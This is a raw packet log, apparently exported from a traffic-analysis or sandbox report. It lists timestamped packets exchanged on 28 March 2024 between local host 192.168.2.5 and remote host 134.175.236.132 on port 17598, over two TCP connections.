Mar 28, 2024 11:28:56.546551943 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546566010 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546580076 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546603918 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546605110 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546617985 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546622992 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546633005 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546641111 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546658993 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546667099 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546689034 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546701908 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546715021 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546729088 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546730042 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546756983 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546781063 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546783924 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546797991 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546811104 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546823978 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546844959 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546864986 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546866894 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546897888 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546916008 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.546932936 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.546989918 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.547033072 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.547041893 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.547101974 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.547116041 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.547131062 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.547142982 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.547162056 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.547185898 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552551031 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552582979 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552598953 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552649021 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552656889 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552656889 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552664042 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552700043 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552714109 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552728891 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552743912 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552757978 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552769899 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552771091 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552784920 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552792072 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552808046 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552812099 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552840948 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552869081 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552872896 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552882910 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552926064 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552930117 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552939892 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552954912 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.552962065 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.552994967 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553014040 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553040981 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553055048 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553067923 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553081036 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553082943 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553092003 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553095102 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553108931 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553112984 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553133965 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553142071 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553159952 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553169012 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553174019 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553180933 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553195953 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553214073 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553220987 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553237915 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553263903 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553286076 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553297997 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553311110 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553320885 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553325891 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553332090 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553340912 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553353071 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553388119 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553388119 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553415060 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553431034 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553443909 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553457975 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553467989 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553469896 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553499937 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553505898 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553508997 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553519964 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553531885 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553544998 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553556919 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553592920 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553592920 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553623915 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553656101 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553664923 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553678036 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553704977 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553729057 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553735018 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553744078 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553756952 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.553776026 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.553808928 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554125071 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554141045 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554172039 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554191113 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554194927 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554208040 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554220915 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554234028 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554244995 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554264069 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554270029 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554285049 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554310083 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554323912 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554323912 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554344893 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554357052 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554371119 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554382086 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554395914 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554425001 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554445982 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554459095 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554485083 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554491043 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554491043 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554514885 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554528952 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554538965 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554554939 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554575920 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554584026 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554589033 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554630041 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554653883 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554668903 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554681063 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554694891 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554694891 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554723978 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554752111 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554754972 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554765940 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554825068 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554828882 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554838896 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554852009 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554863930 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554889917 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554896116 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554904938 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554919004 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.554935932 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.554956913 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.873886108 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.873929024 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.873940945 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.873953104 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.873965979 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.873975992 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.873990059 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874048948 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874062061 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874080896 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874103069 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874103069 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874103069 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874103069 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874125004 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874125957 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874140024 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874152899 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874165058 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874181986 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874208927 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874208927 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874222994 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874242067 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874248028 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874264956 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874272108 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874294996 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874306917 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874317884 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874347925 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874351025 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874365091 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874377012 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874401093 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874402046 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874418974 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874427080 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874430895 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874449968 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874466896 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874492884 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874507904 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874520063 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874547005 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874557972 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874562979 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874574900 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874587059 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874610901 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874634027 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874638081 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874684095 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874687910 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874701977 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874715090 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874727964 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874728918 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874739885 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874747038 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874762058 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874764919 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874783993 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874810934 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874838114 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874855042 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.874882936 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.874898911 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.881905079 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.881939888 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.881947041 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.881990910 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.881994963 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882004976 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882019043 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882028103 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882045031 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882059097 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882071018 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882072926 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882072926 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882083893 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882085085 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882114887 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882116079 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882129908 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882138014 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882175922 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882180929 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882200956 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882214069 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882217884 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882227898 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882246971 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882271051 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882282972 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882311106 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882323027 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882335901 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882354021 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882363081 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882365942 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882391930 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882392883 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882404089 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882417917 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882417917 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882421970 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882435083 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882468939 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882472038 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882472038 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882482052 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882510900 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882530928 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882535934 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882580042 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882582903 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882605076 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882632017 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882632971 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882646084 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882658005 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882671118 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882677078 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882690907 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882697105 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882704973 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882723093 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882729053 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882738113 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882744074 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882755041 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882767916 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882780075 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882781029 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882803917 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882837057 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882843971 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882855892 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882869959 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.882894039 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882924080 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.882924080 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.883815050 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:56.883872986 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.901871920 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:56.907026052 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.211904049 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.211971045 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.244649887 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.244673014 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.244684935 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.244695902 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.244730949 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.244745970 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.244751930 CET	49705	17598	192.168.2.5	134.175.236.132
